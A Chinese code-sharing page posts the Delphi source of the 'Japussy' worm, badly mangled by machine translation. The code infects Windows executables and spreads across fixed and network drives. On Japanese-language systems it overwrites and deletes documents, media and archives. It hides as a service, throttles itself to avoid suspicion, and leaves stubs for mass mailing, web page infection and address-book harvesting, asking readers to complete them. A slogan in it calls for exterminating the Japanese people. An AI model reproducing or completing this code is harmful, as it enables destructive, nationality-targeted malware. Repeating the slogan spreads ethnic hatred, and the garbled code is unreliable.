當前位置:編程學習大全網 - 源碼下載 - Tom技術源代碼

Tom技術源代碼

復制,望采納。

程序Japussy

使用

Windows,SysUtils,Classes,Graphics,ShellAPI{,Registry}。

常數

HeaderSize = 82432//病毒體的大小

icon offset = $ 12eb 8;//PE文件主圖標的偏移量

//在我的Delphi5 SP1上編譯的大小在其他版本的Delphi中可能會有所不同。

//找到十六進制字符串2800000020,找到主圖標的偏移量。

{

header size = 38912;//Upx壓縮的病毒體的大小

IconOffset = $ 92BC//Upx壓縮的PE文件主圖標的偏移量。

//Upx 1.24W用法:Upx-9-8086 Japussy.exe。

}

IconSize = $ 2E8//PE文件主圖標大小-744字節

icon tail = icon offset+IconSize;//PE文件主圖標的尾部

ID = $ 44444444//感染標記

//寫垃圾代碼。

口號= '如果壹個種族需要被消滅,那壹定是大和'+

如果有壹個國家需要被摧毀,那壹定是日本!”+

*** W32。japussy . worm . a * * *’;

{$R *。RES}

函數RegisterServiceProcess(dwProcessID,dw type:Integer):Integer;

stdcall外部“kernel 32 . dll”;//函數聲明

定義變量

TmpFile:string;

si:startup info;

Pi:進程_信息;

IsJap:Boolean = False;//日文操作系統標簽

{判斷是不是Win9x}

函數is win9x:Boolean;

定義變量

ver:TOSVersionInfo;

開始

結果:=假;

ver . dwosversioninfosize:= SizeOf(TOSVersionInfo);

如果不是GetVersionEx(Ver ),則

退出;

if(ver . dwplatformid = VER _平臺_WIN32_WINDOWS)那麽//Win9x

結果:=真;

結束;

{在流之間復制}

過程copy stream(Src:TStream;sStartPos:整數;dst:TStream;

dStartPos:整數;計數:整數);

定義變量

sCurPos,dCurPos:整數;

開始

sCurPos := Src。位置;

dCurPos := Dst。位置;

Src。Seek(sStartPos,0);

夏令時。Seek(dStartPos,0);

夏令時。CopyFrom(Src,Count);

Src。Seek(sCurPos,0);

夏令時。Seek(dCurPos,0);

結束;

{將主機文件與受感染的PE文件分開使用}

過程ExtractFile(文件名:字符串);

定義變量

sStream,dStream:TFileStream;

開始

嘗試

sStream := TFileStream。Create(ParamStr(0),fmOpenRead或fmShareDenyNone);

嘗試

dStream := TFileStream。Create(文件名,fm create);

嘗試

流。Seek(HeaderSize,0);//跳過頭的病毒部分

dStream。CopyFrom(sStream,sStream。size-header size);

最後

dStream。免費;

結束;

最後

流。免費;

結束;

除...之外

結束;

結束;

{填充STARTUPINFO結構}

過程FillStartupInfo(var Si:startup info;狀態:Word);

開始

Si . CB:= SizeOf(Si);

si . LP reserved:= nil;

si . lpdesktop:= nil;

si . LP title:= nil;

si . dw flags:= STARTF _ USESHOWWINDOW;

si . wshowindow:= State;

si . CB reserved 2:= 0;

si . lpreserved 2:= nil;

結束;

{發送有毒郵件}

過程SendMail

開始

//誰願意完成它?湯姆非常感激!

結束;

{受感染的PE文件}

過程InfectOneFile(文件名:字符串);

定義變量

HdrStream,SrcStream:TFileStream;

IcoStream,dst stream:TMemoryStream;

iID:LongInt;

aIcon:TIcon;

Infected,IsPE:Boolean;

I:整數;

Buf: array[0..1]的Char

開始

Try //錯誤,文件正在使用中,退出。

如果comparetext (filename,' japussy.exe') = 0那麽//如果妳是妳自己,妳就不會被感染。

退出;

已感染:=假;

IsPE:= False;

SrcStream := TFileStream。Create(文件名,fmOpenRead);

嘗試

對於i := 0到$108,請檢查PE文件頭。

開始

SrcStream。Seek(我,sofrombinging);

SrcStream。Read(Buf,2);

If (buf [0] = # 80)和(buf [1] = # 69)那麽//PE標簽

開始

IsPE:= True;//是壹個PE文件。

打破;

結束;

結束;

SrcStream。Seek(-4,soFromEnd);//檢查感染標記

SrcStream。改為(iID,4);

if (iID = ID)或(SrcStream。大小& lt10240)那麽//太小的文件就不會被感染。

已感染:= True

最後

SrcStream。免費;

結束;

如果被感染或(非IsPE)則//如果被感染或未被PE文件退出。

退出;

IcoStream := TMemoryStream。創建;

DstStream := TMemoryStream。創建;

嘗試

aIcon := TIcon。創建;

嘗試

//獲取被感染文件的主圖標(744字節)並存儲在流中。

愛康。釋放句柄;

愛康。Handle := ExtractIcon(HInstance,PChar(FileName),0);

愛康。SaveToStream(IcoStream);

最後

愛康。免費;

結束;

SrcStream := TFileStream。Create(文件名,fmOpenRead);

//頭文件

HdrStream := TFileStream。Create(ParamStr(0),fmOpenRead或fmShareDenyNone);

嘗試

//在病毒體主圖標前寫數據。

CopyStream(HdrStream,0,DstStream,0,icon offset);

//寫當前程序的主圖標。

CopyStream(IcoStream,22,DstStream,IconOffset,IconSize);

//將病毒體主圖標的數據寫入病毒體尾部。

CopyStream(HdrStream,IconTail,DstStream,IconTail,header size-icon tail);

//寫入宿主程序

CopyStream(SrcStream,0,DstStream,HeaderSize,SrcStream。尺寸);

//寫入受感染標誌

DstStream。Seek(0,2);

iID:= $ 4444444;

DstStream。Write(iID,4);

最後

HdrStream。免費;

結束;

最後

SrcStream。免費;

IcoStream。免費;

DstStream。SaveToFile(文件名);//替換宿主文件

DstStream。免費;

結束;

除外;

結束;

結束;

{將目標文件寫入垃圾郵件後將其刪除}

過程SmashFile(文件名:字符串);

定義變量

FileHandle:整數;

I,Size,Mass,Max,Len:整數;

開始

嘗試

setfile attributes(PChar(FileName),0);//移除只讀屬性

FileHandle := FileOpen(文件名,fmOpenWrite);//打開文件

嘗試

Size := GetFileSize(FileHandle,nil);//文件大小

I:= 0;

隨機化;

max:= Random(15);//寫垃圾代碼的隨機次數

如果Max & lt那就5

max:= 5;

mass:= Size div Max;//每個間隔塊的大小

Len := Length(流行語);

而我& lt馬克斯·多

開始

FileSeek(FileHandle,i * Mass,0);//定位

//寫垃圾代碼徹底銷毀文件。

FileWrite(FileHandle,Catchword,Len);

Inc(壹);

結束;

最後

file close(file handle);//關閉文件

結束;

DeleteFile(PChar(文件名));//刪除它

除...之外

結束;

結束;

{獲取可寫驅動器列表}

函數get drives:string;

定義變量

disk type:Word;

d:Char;

Str:字符串;

I:整數;

開始

對於i := 0到25,do //遍歷26個字母。

開始

d:= Chr(I+65);

str:= D+':\ ';

disk type:= get drive type(PChar(Str));

//獲取本地磁盤和網絡磁盤。

如果(DiskType = DRIVE_FIXED)或(DiskType = DRIVE_REMOTE)則

結果:=結果+D;

結束;

結束;

{遍歷目錄,感染和破壞文件}

過程LoopFiles(路徑,掩碼:字符串);

定義變量

I,計數:整數;

Fn,Ext:string;

SubDir:t strings;

search rec:TSearchRec;

msg:TMsg;

function is validir(search rec:TSearchRec):Integer;

開始

if (SearchRec。Attr & lt& gt16)和(SearchRec。名稱& lt& gt'.')和

(SearchRec。名稱& lt& gt'..')然後

結果:= 0 //不是目錄。

else if (SearchRec。Attr = 16)和(SearchRec。名稱& lt& gt'.')和

(SearchRec。名稱& lt& gt'..')然後

結果:= 1 //不是根目錄。

else結果:= 2;//是根目錄。

結束;

開始

if (FindFirst(Path + Mask,faAnyFile,SearchRec) = 0)然後

開始

重復

PeekMessage(Msg,0,0,0,PM _ REMOVE);//調整消息隊列以避免懷疑。

如果IsValidDir(SearchRec) = 0,則

開始

Fn := Path + SearchRec。姓名;

Ext :=大寫(ExtractFileExt(Fn));

if (Ext = '。EXE ')或(Ext = '。SCR ')然後

開始

感染文件(Fn);//受感染的可執行文件

結束

else if (Ext = '。HTM ')或(Ext = '。HTML ')或(Ext = '。ASP ')然後

開始

//感染HTML和ASP文件,將Base64編碼的病毒寫入。

//感染所有瀏覽這個網頁的用戶,這是我的最愛!

//哪位大佬願意完成?湯姆非常感激!

結束

Else if Ext = '。WAB當時的//Outlook通訊簿文件

開始

//獲取Outlook電子郵件地址

結束

Else if Ext = '。ADC然後//Foxmail地址自動完成文件。

開始

//獲取Foxmail電子郵件地址

結束

Else if Ext = 'IND' then //Foxmail地址簿文件

開始

//獲取Foxmail電子郵件地址

結束

其他

開始

如果是IsJap那麽//就是日本的操作系統。

開始

if (Ext = '。DOC ')或(Ext = '。XLS ')或(Ext = '。MDB ')或

(Ext = '.MP3 ')或(Ext = '。RM ')或(Ext = '。RA ')或

(Ext = '。WMA ')或(Ext = '。ZIP ')或(Ext = '。RAR”)或

(Ext = '。MPEG ')或(Ext = '。ASF ')或(Ext = '。JPG”)或

(Ext = '。JPEG ')或(Ext = '。GIF ')或(Ext = '。SWF’)或

(Ext = '。PDF ')或(Ext = '。CHM ')或(Ext = '。AVI)然後

smash file(Fn);//銷毀文件

結束;

結束;

結束;

//感染或刪除文件後休眠200毫秒,避免CPU使用率高引起的懷疑。

睡眠(200);

直到(FindNext(search rec)& lt;& gt0);

結束;

FindClose(search rec);

SubDir := TStringList。創建;

if (FindFirst(Path + '*。*,faDirectory,SearchRec) = 0)則

開始

重復

如果IsValidDir(SearchRec) = 1,則

SubDir。添加(SearchRec。姓名);

直到(FindNext(search rec)& lt;& gt0);

結束;

FindClose(search rec);

Count := SubDir。count-1;

對於i := 0來計數do

循環文件(路徑+子目錄。字符串+ '\ ',掩碼);

FreeAndNil(SubDir);

結束;

{遍歷磁盤上的所有文件}

過程感染文件;

定義變量

driver list:string;

I,Len:整數;

開始

如果GetACP = 932,則//日本操作系統

IsJap:= True;//去死吧!

driver list:= get drives;//獲取可寫磁盤列表

len:= Length(driver list);

While True do //無限循環

開始

For i := Len downto 1 do //遍歷每個磁盤驅動器。

LoopFiles(DriverList + ':\ ',' *。*');//被感染

SendMail//發送有毒郵件

睡眠(1000 * 60 * 5);//睡眠5分鐘

結束;

結束;

{主程序開始}

開始

如果是Win9x那麽//就是Win9x。

RegisterServiceProcess(getCurrentProcessID,1)//註冊為服務進程。

else //WinNT

開始

//遠程線程映射到資源管理器進程。

//哪位兄弟願意完成?湯姆非常感激!

結束;

//如果是原病毒體本身

如果compare text(extract filename(ParamStr(0)),' Japussy.exe') = 0,則

感染文件//感染和電子郵件

Else //已經寄生在宿主程序上,開始工作了。

開始

TmpFile:= ParamStr(0);//創建壹個臨時文件

Delete(TmpFile,Length(TmpFile) - 4,4);

TmpFile := TmpFile + #32 +'。exe ';//真正的主機文件,多壹個空格。

extract file(TmpFile);//分開它

FillStartupInfo(Si,SW _ show default);

CreateProcess(PChar(TmpFile),PChar(TmpFile),nil,nil,True,

0,零,'.',Si,Pi);//創建要運行的新進程。

InfectFiles//感染和電子郵件

結束;

結束

  • 上一篇:總經理工作總結怎麽寫
  • 下一篇:反映股票量能的指標有哪些?
  • copyright 2024編程學習大全網